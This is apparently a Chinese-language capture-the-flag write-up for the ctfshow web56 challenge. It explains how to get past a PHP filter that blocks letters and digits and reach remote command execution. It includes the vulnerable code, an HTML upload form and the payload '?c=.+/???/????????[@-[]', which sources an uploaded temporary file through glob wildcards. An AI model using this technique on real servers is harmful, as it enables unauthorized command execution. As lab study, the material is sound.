无数字字母rce

面对ctfshow web入门56的学习

我们根据这一题直接进入主题

1
2
3
4
5
6
7
8
9
10
11
//web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

过滤了字母,数字。

看了三位师傅的 wp才醒悟 y1ng P神 firebasky 再次感谢三位师傅

先说一下这一题的解题思路:

我们通过post一个文件(文件里面写入sh命令),在上传的过程中,通过.(点,也就是 source命令)去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
**注意:通过.去执行sh命令不需要有执行权限**

好,接下来我已一个小白的角度分析题目所需的知识点。 首先是构造一个post文件上传,这里面也是很复杂的,参考 PHP 文件上传

下面就是我们构造的post文件上传数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后直接抓包

在这里插入图片描述
接下来构造poc命令
?c=.+/???/????????[@-[]
用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符
    注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
    在这里插入图片描述

介绍一下bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,也就是一些系统命令都在bin 目录下

在这里再解释一下为什么加上#! #!的意思是调用 /bin/sh 命令所以需要加

成功遍历当前目录文件
在这里插入图片描述

直接cat 得到flag

在这里插入图片描述

补充

1.playload:?c=.+/???/???[@-[] 因为 .命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)。

2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令

3.我们的poc的? 的数量只有11个,因为最后一个匹配为大写,用[@-[] 代替了,不需要在它的后面再加上?了

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~